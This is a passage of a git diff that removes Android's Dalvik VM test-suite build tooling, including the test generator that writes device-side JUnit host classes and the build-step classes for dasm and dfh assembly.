-    private static String CLASS_PATH = "";
-
-    private static String restrictTo = null; // e.g. restrict to "opcodes.add_double"
-
-    private static final String TARGET_JAR_ROOT_PATH = "/data/local/tmp/vm-tests";
-
-    private int testClassCnt = 0;
-    private int testMethodsCnt = 0;
-
-    /*
-     * using a linked hashmap to keep the insertion order for iterators.
-     * the junit suite/tests adding order is used to generate the order of the
-     * report.
-     * a map. key: fully qualified class name, value: a list of test methods for
-     * the given class
-     */
-    private LinkedHashMap<String, List<String>> map = new LinkedHashMap<String,
-    List<String>>();
-
-    private class MethodData {
-        String methodBody, constraint, title;
-    }
-
-    /**
-     * @param args
-     *            args 0 must be the project root folder (where src, lib etc.
-     *            resides)
-     * @throws IOException
-     */
-    public static void main(String[] args) throws IOException {
-
-        if (!parseArgs(args)) {
-          printUsage();
-          System.exit(-1);
-        }
-
-        long start = System.currentTimeMillis();
-        BuildDalvikSuite cat = new BuildDalvikSuite();
-        cat.compose();
-        long end = System.currentTimeMillis();
-
-        System.out.println("elapsed seconds: " + (end - start) / 1000);
-    }
-
-    public static boolean parseArgs(String[] args) {
-      if (args.length > 5) {
-          JAVASRC_FOLDER = args[0];
-          OUTPUT_FOLDER = args[1];
-          CLASS_PATH = args[2];
-          MAIN_SRC_OUTPUT_FOLDER = args[3];
-          CLASSES_OUTPUT_FOLDER = MAIN_SRC_OUTPUT_FOLDER + "/classes";
-
-          COMPILED_CLASSES_FOLDER = args[4];
-
-          HOSTJUNIT_SRC_OUTPUT_FOLDER = args[5];
-          HOSTJUNIT_CLASSES_OUTPUT_FOLDER = HOSTJUNIT_SRC_OUTPUT_FOLDER + "/classes";
-
-          if (args.length > 6) {
-              // optional: restrict to e.g. "opcodes.add_double"
-              restrictTo = args[6];
-              System.out.println("restricting build to: " + restrictTo);
-          }
-          return true;
-      } else {
-          return false;
-      }
-    }
-
-    private static void printUsage() {
-        System.out.println("usage: java-src-folder output-folder classpath " +
-                           "generated-main-files compiled_output generated-main-files " +
-                           "[restrict-to-opcode]");
-    }
-
-    public void compose() throws IOException {
-        System.out.println("Collecting all junit tests...");
-        new TestRunner() {
-            @Override
-            protected TestResult createTestResult() {
-                return new TestResult() {
-                    @Override
-                    protected void run(TestCase test) {
-                        addToTests(test);
-                    }
-
-                };
-            }
-        }.doRun(AllTests.suite());
-
-        // for each combination of TestClass and method, generate a Main_testN1
-        // class in the respective package.
-        // for the report make sure all N... tests are called first, then B,
-        // then E, then VFE test methods.
-        // e.g. dxc.junit.opcodes.aaload.Test_aaload - testN1() ->
-        // File Main_testN1.java in package dxc.junit.opcodes.aaload.
-        //
-        handleTests();
-    }
-
-    private void addToTests(TestCase test) {
-
-        String packageName = test.getClass().getPackage().getName();
-        packageName = packageName.substring(packageName.lastIndexOf('.'));
-
-
-        String method = test.getName(); // e.g. testVFE2
-        String fqcn = test.getClass().getName(); // e.g.
-        // dxc.junit.opcodes.iload_3.Test_iload_3
-
-        // ignore all tests not belonging to the given restriction
-        if (restrictTo != null && !fqcn.contains(restrictTo)) return;
-
-        testMethodsCnt++;
-        List<String> li = map.get(fqcn);
-        if (li == null) {
-            testClassCnt++;
-            li = new ArrayList<String>();
-            map.put(fqcn, li);
-        }
-        li.add(method);
-    }
-    private String curJunitFileName = null;
-    private String curJunitName = null;
-    private String curJunitFileData = "";
-
-    private SourceBuildStep hostJunitBuildStep;
-
-    private void flushHostJunitFile() {
-        if (curJunitFileName != null) {
-            File toWrite = new File(curJunitFileName);
-            String absPath = toWrite.getAbsolutePath();
-            // add to java source files for later compilation
-            hostJunitBuildStep.addSourceFile(absPath);
-            // write file
-            curJunitFileData += "\n}\n";
-            writeToFileMkdir(toWrite, curJunitFileData);
-
-            curJunitFileName = null;
-            curJunitFileData = "";
-        }
-    }
-
-    private void openCTSHostFileFor(String pName, String classOnlyName) {
-        // flush previous JunitFile
-        flushHostJunitFile();
-        String sourceName = "JUnit_" + classOnlyName;
-
-        // prepare current testcase-file
-        curJunitFileName = HOSTJUNIT_SRC_OUTPUT_FOLDER + "/" + pName.replaceAll("\\.","/") + "/" +
-        sourceName + ".java";
-        curJunitFileData = getWarningMessage() +
-        "package " + pName + ";\n" +
-        "import java.io.IOException;\n" +
-        "import java.util.concurrent.TimeUnit;\n\n" +
-        "import com.android.tradefed.device.CollectingOutputReceiver;\n" +
-        "import com.android.tradefed.testtype.IAbi;\n" +
-        "import com.android.tradefed.testtype.IAbiReceiver;\n" +
-        "import com.android.tradefed.testtype.DeviceTestCase;\n" +
-        "import com.android.tradefed.util.AbiFormatter;\n" +
-        "\n" +
-        "public class " + sourceName + " extends DeviceTestCase implements IAbiReceiver {\n";
-    }
-
-    private String getShellExecJavaLine(String classpath, String mainclass) {
-      String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K -Xnodex2oat " +
-              "-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
-              classpath, mainclass);
-      StringBuilder code = new StringBuilder();
-      code.append("    String cmd = AbiFormatter.formatCmdForAbi(\"")
-          .append(cmd)
-          .append("\", mAbi.getBitness());\n")
-          .append("    CollectingOutputReceiver receiver = new CollectingOutputReceiver();\n")
-          .append("    getDevice().executeShellCommand(cmd, receiver, 6, TimeUnit.MINUTES, 1);\n")
-          .append("    // A sucessful adb shell command returns an empty string.\n")
-          .append("    assertEquals(cmd, \"\", receiver.getOutput());");
-      return code.toString();
-    }
-
-    private String getWarningMessage() {
-        return "//Autogenerated code by " + this.getClass().getName() + "; do not edit.\n";
-    }
-
-    private void addCTSHostMethod(String pName, String method, MethodData md,
-            Collection<String> dependentTestClassNames) {
-        curJunitFileData += "public void " + method + "() throws Exception {\n";
-        final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
-                TARGET_JAR_ROOT_PATH);
-
-        String mainsJar = String.format("%s/%s", TARGET_JAR_ROOT_PATH, TARGET_MAIN_FILE);
-
-        String cp = String.format("%s:%s", targetCoreJarPath, mainsJar);
-        for (String depFqcn : dependentTestClassNames) {
-            String sourceName = depFqcn.replaceAll("\\.", "/") + ".jar";
-            String targetName= String.format("%s/%s", TARGET_JAR_ROOT_PATH,
-                    sourceName);
-            cp += ":" + targetName;
-            // dot.junit.opcodes.invoke_interface_range.ITest
-            // -> dot/junit/opcodes/invoke_interface_range/ITest.jar
-        }
-
-        //"dot.junit.opcodes.add_double_2addr.Main_testN2";
-        String mainclass = pName + ".Main_" + method;
-        curJunitFileData += getShellExecJavaLine(cp, mainclass);
-        curJunitFileData += "\n}\n\n";
-    }
-
-    private void handleTests() throws IOException {
-        System.out.println("collected " + testMethodsCnt + " test methods in " +
-                testClassCnt + " junit test classes");
-        String datafileContent = "";
-        Set<BuildStep> targets = new TreeSet<BuildStep>();
-
-        SourceBuildStep srcBuildStep;
-        hostJunitBuildStep = new JavacBuildStep(
-            HOSTJUNIT_CLASSES_OUTPUT_FOLDER, CLASS_PATH);
-
-        String mainsJar = OUTPUT_FOLDER + File.separator + TARGET_MAIN_FILE;
-        srcBuildStep = new JavacBuildStep(CLASSES_OUTPUT_FOLDER, CLASS_PATH);
-
-        for (Entry<String, List<String>> entry : map.entrySet()) {
-
-            String fqcn = entry.getKey();
-            int lastDotPos = fqcn.lastIndexOf('.');
-            String pName = fqcn.substring(0, lastDotPos);
-            String classOnlyName = fqcn.substring(lastDotPos + 1);
-            String instPrefix = "new " + classOnlyName + "()";
-
-            openCTSHostFileFor(pName, classOnlyName);
-
-            curJunitFileData += "\n" +
-                    "protected IAbi mAbi;\n" +
-                    "@Override\n" +
-                    "public void setAbi(IAbi abi) {\n" +
-                    "    mAbi = abi;\n" +
-                    "}\n\n";
-
-            List<String> methods = entry.getValue();
-            Collections.sort(methods, new Comparator<String>() {
-                public int compare(String s1, String s2) {
-                    // TODO sort according: test ... N, B, E, VFE
-                    return s1.compareTo(s2);
-                }
-            });
-            for (String method : methods) {
-                // e.g. testN1
-                if (!method.startsWith("test")) {
-                    throw new RuntimeException("no test method: " + method);
-                }
-
-                // generate the Main_xx java class
-
-                // a Main_testXXX.java contains:
-                // package <packagenamehere>;
-                // public class Main_testxxx {
-                // public static void main(String[] args) {
-                // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
-                // }
-                // }
-                MethodData md = parseTestMethod(pName, classOnlyName, method);
-                String methodContent = md.methodBody;
-
-                List<String> dependentTestClassNames = parseTestClassName(pName,
-                        classOnlyName, methodContent);
-
-                addCTSHostMethod(pName, method, md, dependentTestClassNames);
-
-
-                if (dependentTestClassNames.isEmpty()) {
-                    continue;
-                }
-
-
-                String content = getWarningMessage() +
-                "package " + pName + ";\n" +
-                "import " + pName + ".d.*;\n" +
-                "import dot.junit.*;\n" +
-                "public class Main_" + method + " extends DxAbstractMain {\n" +
-                "    public static void main(String[] args) throws Exception {" +
-                methodContent + "\n}\n";
-
-                File sourceFile = getFileFromPackage(pName, method);
-
-                writeToFile(sourceFile, content);
-                srcBuildStep.addSourceFile(sourceFile.getAbsolutePath());
-
-                // prepare the entry in the data file for the bash script.
-                // e.g.
-                // main class to execute; opcode/constraint; test purpose
-                // dxc.junit.opcodes.aaload.Main_testN1;aaload;normal case test
-                // (#1)
-
-                char ca = method.charAt("test".length()); // either N,B,E,
-                // or V (VFE)
-                String comment;
-                switch (ca) {
-                case 'N':
-                    comment = "Normal #" + method.substring(5);
-                    break;
-                case 'B':
-                    comment = "Boundary #" + method.substring(5);
-                    break;
-                case 'E':
-                    comment = "Exception #" + method.substring(5);
-                    break;
-                case 'V':
-                    comment = "Verifier #" + method.substring(7);
-                    break;
-                default:
-                    throw new RuntimeException("unknown test abbreviation:"
-                            + method + " for " + fqcn);
-                }
-
-                String line = pName + ".Main_" + method + ";";
-                for (String className : dependentTestClassNames) {
-                    line += className + " ";
-                }
-
-
-                // test description
-                String[] pparts = pName.split("\\.");
-                // detail e.g. add_double
-                String detail = pparts[pparts.length-1];
-                // type := opcode | verify
-                String type = pparts[pparts.length-2];
-
-                String description;
-                if ("format".equals(type)) {
-                    description = "format";
-                } else if ("opcodes".equals(type)) {
-                    // Beautify name, so it matches the actual mnemonic
-                    detail = detail.replaceAll("_", "-");
-                    detail = detail.replace("-from16", "/from16");
-                    detail = detail.replace("-high16", "/high16");
-                    detail = detail.replace("-lit8", "/lit8");
-                    detail = detail.replace("-lit16", "/lit16");
-                    detail = detail.replace("-4", "/4");
-                    detail = detail.replace("-16", "/16");
-                    detail = detail.replace("-32", "/32");
-                    detail = detail.replace("-jumbo", "/jumbo");
-                    detail = detail.replace("-range", "/range");
-                    detail = detail.replace("-2addr", "/2addr");
-
-                    // Unescape reserved words
-                    detail = detail.replace("opc-", "");
-
-                    description = detail;
-                } else if ("verify".equals(type)) {
-                    description = "verifier";
-                } else {
-                    description = type + " " + detail;
-                }
-
-                String details = (md.title != null ? md.title : "");
-                if (md.constraint != null) {
-                    details = " Constraint " + md.constraint + ", " + details;
-                }
-                if (details.length() != 0) {
-                    details = details.substring(0, 1).toUpperCase()
-                            + details.substring(1);
-                }
-
-                line += ";" + description + ";" + comment + ";" + details;
-
-                datafileContent += line + "\n";
-                generateBuildStepFor(pName, method, dependentTestClassNames,
-                        targets);
-            }
-
-
-        }
-
-        D8BuildStep dexBuildStep = new D8BuildStep(
-            new BuildStep.BuildFile(new File(CLASSES_OUTPUT_FOLDER)),
-            new BuildStep.BuildFile(new File(mainsJar)),
-            false);
-
-        targets.add(dexBuildStep);
-
-        // write latest HOSTJUNIT generated file.
-        flushHostJunitFile();
-
-        File scriptDataDir = new File(OUTPUT_FOLDER + "/data/");
-        scriptDataDir.mkdirs();
-        writeToFile(new File(scriptDataDir, "scriptdata"), datafileContent);
-
-        if (!hostJunitBuildStep.build()) {
-            System.out.println("main javac cts-host-hostjunit-classes build step failed");
-            System.exit(1);
-        }
-
-        if (!srcBuildStep.build()) {
-            System.out.println("main src dalvik-cts-buildutil build step failed");
-            System.exit(1);
-        }
-
-        for (BuildStep buildStep : targets) {
-            if (!buildStep.build()) {
-                System.out.println("building failed. buildStep: " +
-                        buildStep.getClass().getName() + ", " + buildStep);
-                System.exit(1);
-            }
-        }
-    }
-
-    private void generateBuildStepFor(String pName, String method,
-            Collection<String> dependentTestClassNames, Set<BuildStep> targets) {
-
-
-        for (String dependentTestClassName : dependentTestClassNames) {
-            generateBuildStepForDependant(dependentTestClassName, targets);
-        }
-    }
-
-    private void generateBuildStepForDependant(String dependentTestClassName,
-            Set<BuildStep> targets) {
-
-        File sourceFolder = new File(JAVASRC_FOLDER);
-        String fileName = dependentTestClassName.replace('.', '/').trim();
-
-        if (new File(sourceFolder, fileName + ".dfh").exists()) {
-
-            BuildStep.BuildFile inputFile = new BuildStep.BuildFile(
-                    JAVASRC_FOLDER, fileName + ".dfh");
-            BuildStep.BuildFile dexFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".dex");
-
-            DFHBuildStep buildStep = new DFHBuildStep(inputFile, dexFile);
-
-            BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".jar");
-            JarBuildStep jarBuildStep = new JarBuildStep(dexFile,
-                    "classes.dex", jarFile, true);
-            jarBuildStep.addChild(buildStep);
-
-            targets.add(jarBuildStep);
-            return;
-        }
-
-        if (new File(sourceFolder, fileName + ".d").exists()) {
-
-            BuildStep.BuildFile inputFile = new BuildStep.BuildFile(
-                    JAVASRC_FOLDER, fileName + ".d");
-            BuildStep.BuildFile dexFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".dex");
-
-            DasmBuildStep buildStep = new DasmBuildStep(inputFile, dexFile);
-
-            BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".jar");
-
-            JarBuildStep jarBuildStep = new JarBuildStep(dexFile,
-                    "classes.dex", jarFile, true);
-            jarBuildStep.addChild(buildStep);
-            targets.add(jarBuildStep);
-            return;
-        }
-
-        File srcFile = new File(sourceFolder, fileName + ".java");
-        if (srcFile.exists()) {
-            BuildStep dexBuildStep;
-            dexBuildStep = generateDexBuildStep(
-              COMPILED_CLASSES_FOLDER, fileName);
-            targets.add(dexBuildStep);
-            return;
-        }
-
-        try {
-            if (Class.forName(dependentTestClassName) != null) {
-                BuildStep dexBuildStep = generateDexBuildStep(
-                    COMPILED_CLASSES_FOLDER, fileName);
-                targets.add(dexBuildStep);
-                return;
-            }
-        } catch (ClassNotFoundException e) {
-            // do nothing
-        }
-
-        throw new RuntimeException("neither .dfh,.d,.java file of dependant test class found : " +
-                dependentTestClassName + ";" + fileName);
-    }
-
-    private BuildStep generateDexBuildStep(String classFileFolder,
-            String classFileName) {
-        BuildStep.BuildFile classFile = new BuildStep.BuildFile(
-                classFileFolder, classFileName + ".class");
-
-        BuildStep.BuildFile tmpJarFile = new BuildStep.BuildFile(
-                OUTPUT_FOLDER,
-                classFileName + "_tmp.jar");
-
-        JarBuildStep jarBuildStep = new JarBuildStep(classFile,
-                classFileName + ".class", tmpJarFile, false);
-
-        BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
-                OUTPUT_FOLDER,
-                classFileName + ".jar");
-
-        D8BuildStep dexBuildStep = new D8BuildStep(tmpJarFile,
-                outputFile,
-                true);
-
-        dexBuildStep.addChild(jarBuildStep);
-        return dexBuildStep;
-    }
-
-    /**
-     * @param pName
-     * @param classOnlyName
-     * @param methodSource
-     * @return testclass names
-     */
-    private List<String> parseTestClassName(String pName, String classOnlyName,
-            String methodSource) {
-        List<String> entries = new ArrayList<String>(2);
-        String opcodeName = classOnlyName.substring(5);
-
-        Scanner scanner = new Scanner(methodSource);
-
-        String[] patterns = new String[] {"new\\s(T_" + opcodeName + "\\w*)",
-                "(T_" + opcodeName + "\\w*)", "new\\s(T\\w*)"};
-
-        String token = null;
-        for (String pattern : patterns) {
-            token = scanner.findWithinHorizon(pattern, methodSource.length());
-            if (token != null) {
-                break;
-            }
-        }
-
-        if (token == null) {
-            System.err.println("warning: failed to find dependent test class name: " + pName +
-                    ", " + classOnlyName + " in methodSource:\n" + methodSource);
-            return entries;
-        }
-
-        MatchResult result = scanner.match();
-
-        entries.add((pName + ".d." + result.group(1)).trim());
-
-        // search additional @uses directives
-        Pattern p = Pattern.compile("@uses\\s+(.*)\\s+", Pattern.MULTILINE);
-        Matcher m = p.matcher(methodSource);
-        while (m.find()) {
-            String res = m.group(1);
-            entries.add(0, res.trim());
-        }
-
-        // search for " load(\"...\" " and add as dependency
-        Pattern loadPattern = Pattern.compile("load\\(\"([^\"]*)\"", Pattern.MULTILINE);
-        Matcher loadMatcher = loadPattern.matcher(methodSource);
-        while (loadMatcher.find()) {
-            String res = loadMatcher.group(1);
-            entries.add(res.trim());
-        }
-
-        // search for " loadAndRun(\"...\" " and add as dependency
-        Pattern loadAndRunPattern = Pattern.compile("loadAndRun\\(\"([^\"]*)\"", Pattern.MULTILINE);
-        Matcher loadAndRunMatcher = loadAndRunPattern.matcher(methodSource);
-        while (loadAndRunMatcher.find()) {
-            String res = loadAndRunMatcher.group(1);
-            entries.add(res.trim());
-        }
-
-        // lines with the form @uses
-        // dot.junit.opcodes.add_double.jm.T_add_double_2
-        // one dependency per one @uses
-        // TODO
-
-        return entries;
-    }
-
-    private MethodData parseTestMethod(String pname, String classOnlyName,
-            String method) {
-
-        String path = pname.replaceAll("\\.", "/");
-        String absPath = JAVASRC_FOLDER + "/" + path + "/" + classOnlyName + ".java";
-        File f = new File(absPath);
-
-        Scanner scanner;
-        try {
-            scanner = new Scanner(f);
-        } catch (FileNotFoundException e) {
-            throw new RuntimeException("error while reading to file: " + e.getClass().getName() +
-                    ", msg:" + e.getMessage());
-        }
-
-        String methodPattern = "public\\s+void\\s+" + method + "[^\\{]+\\{";
-
-        String token = scanner.findWithinHorizon(methodPattern, (int) f.length());
-        if (token == null) {
-            throw new RuntimeException("cannot find method source of 'public void " + method +
-                    "' in file '" + absPath + "'");
-        }
-
-        MatchResult result = scanner.match();
-        result.start();
-        result.end();
-
-        StringBuilder builder = new StringBuilder();
-        //builder.append(token);
-
-        try {
-            FileReader reader = new FileReader(f);
-            reader.skip(result.end());
-
-            int readResult;
-            int blocks = 1;
-            while ((readResult = reader.read()) != -1 && blocks > 0) {
-                char currentChar = (char) readResult;
-                switch (currentChar) {
-                    case '}': {
-                        blocks--;
-                        builder.append(currentChar);
-                        break;
-                    }
-                    case '{': {
-                        blocks++;
-                        builder.append(currentChar);
-                        break;
-                    }
-                    default: {
-                        builder.append(currentChar);
-                        break;
-                    }
-                }
-            }
-            if (reader != null) {
-                reader.close();
-            }
-        } catch (Exception e) {
-            throw new RuntimeException("failed to parse", e);
-        }
-
-        // find the @title/@constraint in javadoc comment for this method
-        // using platform's default charset
-        String all = new String(FileUtils.readFile(f));
-        // System.out.println("grepping javadoc found for method " + method +
-        // " in " + pname + "," + classOnlyName);
-        String commentPattern = "/\\*\\*([^{]*)\\*/\\s*" + methodPattern;
-        Pattern p = Pattern.compile(commentPattern, Pattern.DOTALL);
-        Matcher m = p.matcher(all);
-        String title = null, constraint = null;
-        if (m.find()) {
-            String res = m.group(1);
-            // System.out.println("res: " + res);
-            // now grep @title and @constraint
-            Matcher titleM = Pattern.compile("@title (.*)", Pattern.DOTALL)
-            .matcher(res);
-            if (titleM.find()) {
-                title = titleM.group(1).replaceAll("\\n     \\*", "");
-                title = title.replaceAll("\\n", " ");
-                title = title.trim();
-                // System.out.println("title: " + title);
-            } else {
-                System.err.println("warning: no @title found for method " + method + " in " + pname +
-                        "," + classOnlyName);
-            }
-            // constraint can be one line only
-            Matcher constraintM = Pattern.compile("@constraint (.*)").matcher(
-                    res);
-            if (constraintM.find()) {
-                constraint = constraintM.group(1);
-                constraint = constraint.trim();
-                // System.out.println("constraint: " + constraint);
-            } else if (method.contains("VFE")) {
-                System.err
-                .println("warning: no @constraint for for a VFE method:" + method + " in " +
-                        pname + "," + classOnlyName);
-            }
-        } else {
-            System.err.println("warning: no javadoc found for method " + method + " in " + pname +
-                    "," + classOnlyName);
-        }
-        MethodData md = new MethodData();
-        md.methodBody = builder.toString();
-        md.constraint = constraint;
-        md.title = title;
-        if (scanner != null) {
-            scanner.close();
-        }
-        return md;
-    }
-
-    private void writeToFileMkdir(File file, String content) {
-        File parent = file.getParentFile();
-        if (!parent.exists() && !parent.mkdirs()) {
-            throw new RuntimeException("failed to create directory: " + parent.getAbsolutePath());
-        }
-        writeToFile(file, content);
-    }
-
-    private void writeToFile(File file, String content) {
-        try {
-            if (file.exists() && file.length() == content.length()) {
-                FileReader reader = new FileReader(file);
-                char[] charContents = new char[(int) file.length()];
-                reader.read(charContents);
-                reader.close();
-                String contents = new String(charContents);
-                if (contents.equals(content)) {
-                    // System.out.println("skipping identical: "
-                    // + file.getAbsolutePath());
-                    return;
-                }
-            }
-
-            //System.out.println("writing file " + file.getAbsolutePath());
-
-            BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
-                    new FileOutputStream(file), "utf-8"));
-            bw.write(content);
-            bw.close();
-        } catch (Exception e) {
-            throw new RuntimeException("error while writing to file: " + e.getClass().getName() +
-                    ", msg:" + e.getMessage());
-        }
-    }
-
-    private File getFileFromPackage(String pname, String methodName)
-    throws IOException {
-        // e.g. dxc.junit.argsreturns.pargsreturn
-        String path = getFileName(pname, methodName, ".java");
-        String absPath = MAIN_SRC_OUTPUT_FOLDER + "/" + path;
-        File dirPath = new File(absPath);
-        File parent = dirPath.getParentFile();
-        if (!parent.exists() && !parent.mkdirs()) {
-            throw new IOException("failed to create directory: " + absPath);
-        }
-        return dirPath;
-    }
-
-    private String getFileName(String pname, String methodName,
-            String extension) {
-        String path = pname.replaceAll("\\.", "/");
-        return new File(path, "Main_" + methodName + extension).getPath();
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/BuildStep.java b/tools/vm-tests-tf/src/util/build/BuildStep.java
deleted file mode 100644
index e3349bd..0000000
--- a/tools/vm-tests-tf/src/util/build/BuildStep.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.channels.FileChannel;
-import java.util.HashSet;
-import java.util.Set;
-
-abstract class BuildStep implements Comparable<BuildStep> {
-
-    BuildFile inputFile;
-    BuildFile outputFile;
-
-    static class BuildFile {
-        final File folder;
-        final File fileName;
-
-        BuildFile(String folder, String fileName) {
-            this.folder = new File(folder);
-            this.fileName = new File(this.folder, fileName);
-        }
-        BuildFile(File file) {
-          this.folder = file.getParentFile();
-          this.fileName = file;
-      }
-
-        String getPath() {
-            return fileName.getAbsolutePath();
-        }
-
-        @Override
-        public int hashCode() {
-            return fileName.hashCode();
-        }
-
-        @Override
-        public boolean equals(Object obj) {
-            if (obj == null) return false;
-            if (this == obj) return true;
-            if (getClass() == obj.getClass()) {
-                BuildFile other = (BuildFile) obj;
-                return fileName.equals(other.fileName);
-            }
-            return false;
-        }
-    }
-
-    BuildStep(BuildFile inputFile, BuildFile outputFile) {
-        if (inputFile == null) {
-            throw new NullPointerException("inputFile is null");
-        }
-        if (outputFile == null) {
-            throw new NullPointerException("outputFile is null");
-        }
-        this.inputFile = inputFile;
-        this.outputFile = outputFile;
-    }
-
-    BuildStep(File output) {
-        this.outputFile = new BuildFile(output);
-    }
-
-    private Set<BuildStep> children;
-
-    boolean build() {
-        if (children != null) {
-            for (BuildStep child : children) {
-                if (!child.build()) {
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (obj == null) return false;
-        if (obj == this) return true;
-        return this.getClass() == obj.getClass();
-    }
-
-    @Override
-    public abstract int hashCode();
-
-    public void addChild(BuildStep child) {
-        if (children == null) {
-            children = new HashSet<BuildStep>();
-        }
-        children.add(child);
-    }
-
-    public static void copyFile(File in, File out) throws IOException {
-        FileChannel inChannel = new FileInputStream(in).getChannel();
-        FileChannel outChannel = new FileOutputStream(out).getChannel();
-        try {
-            inChannel.transferTo(0, inChannel.size(), outChannel);
-        } catch (IOException e) {
-            throw e;
-        } finally {
-            if (inChannel != null) inChannel.close();
-            if (outChannel != null) outChannel.close();
-        }
-    }
-
-    public int compareTo(BuildStep o) {
-        return (outputFile == o.outputFile ? 0 : outputFile.getPath().compareTo(
-                        o.outputFile.getPath()));
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/DFHBuildStep.java b/tools/vm-tests-tf/src/util/build/DFHBuildStep.java
deleted file mode 100644
index 47a81bf..0000000
--- a/tools/vm-tests-tf/src/util/build/DFHBuildStep.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import dxconvext.ClassFileAssembler;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.FileReader;
-import java.io.OutputStream;
-import java.io.Reader;
-
-public class DFHBuildStep extends BuildStep {
-
-    public DFHBuildStep(BuildFile inputFile, BuildFile outputFile) {
-        super(inputFile, outputFile);
-    }
-
-    @Override
-    boolean build() {
-        if (super.build()) {
-            File out_dir = outputFile.fileName.getParentFile();
-            if (!out_dir.exists() && !out_dir.mkdirs()) {
-                System.err.println("failed to create dir: "
-                        + out_dir.getAbsolutePath());
-                return false;
-            }
-
-            ClassFileAssembler cfAssembler = new ClassFileAssembler();
-            Reader r;
-            OutputStream os;
-            try {
-                r = new FileReader(inputFile.fileName);
-                os = new FileOutputStream(outputFile.fileName);
-            } catch (FileNotFoundException e) {
-                System.err.println(e);
-                return false;
-            }
-            try {
-                // cfAssembler throws a runtime exception
-                cfAssembler.writeClassFile(r, os, true);
-            } catch (RuntimeException e) {
-                System.err.println("error in DFHBuildStep for inputfile "+inputFile.fileName+", outputfile "+outputFile.fileName);
-                throw e;
-            }
-            
-            return true;
-        }
-        return false;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-
-        if (super.equals(obj)) {
-            return inputFile.equals(((DFHBuildStep) obj).inputFile)
-                    && outputFile.equals(((DFHBuildStep) obj).outputFile);
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return (inputFile == null ? 31 : inputFile.hashCode())
-                ^ (outputFile == null ? 37 : outputFile.hashCode());
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/DasmBuildStep.java b/tools/vm-tests-tf/src/util/build/DasmBuildStep.java
deleted file mode 100644
index b77a491..0000000
--- a/tools/vm-tests-tf/src/util/build/DasmBuildStep.java
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import dasm.DAsm;
-import dasm.DasmError;
-import dasm.Utils;
-
-import java.io.BufferedReader;
-import java.io.Closeable;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.FileWriter;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.Reader;
-
-class DasmBuildStep extends BuildStep {
-
-
-    boolean generate_linenum = false;
-
-    DasmBuildStep(BuildFile inputFile, BuildFile outputFile) {
-        super(inputFile, outputFile);
-
-    }
-
-    @Override
-    boolean build() {
-        if (super.build()) {
-            return assemble(inputFile.fileName);
-        }
-        return false;
-    }
-
-    private static Reader createReader(String fname) throws IOException {
-        FileInputStream fs = new FileInputStream(fname);
-        InputStreamReader ir;
-        ir = new InputStreamReader(fs);
-        return new BufferedReader(ir);
-    }
-    
-    private boolean assemble(File file) {
-        DAsm dAsm = new DAsm();
-        String fname = file.getAbsolutePath();
-        
-        // read and parse .d file
-        Reader inp = null; 
-        try {
-            inp = createReader(fname);
-            dAsm.readD(inp, new File(fname).getName(), generate_linenum);
-            close(inp);
-        } catch(DasmError e) {
-            if(BuildDalvikSuite.DEBUG)
-                e.printStackTrace();
-            System.err.println("DASM Error: " + e.getMessage());
-        } catch(Exception e) {
-             if(BuildDalvikSuite.DEBUG)
-                 e.printStackTrace();
-             System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage() + 
-                         " while reading and parsing " + fname);
-             return false;
-             
-        }
-        finally {
-            close(inp);
-        }
-        
-        if(dAsm.errorCount() > 0) {
-            System.err.println("Found " + dAsm.errorCount() + " errors " +
-                    " while reading and parsing " + fname);
-                return false;
-        }
-
-        String class_path[] = Utils.getClassFieldFromString(dAsm.getClassName());
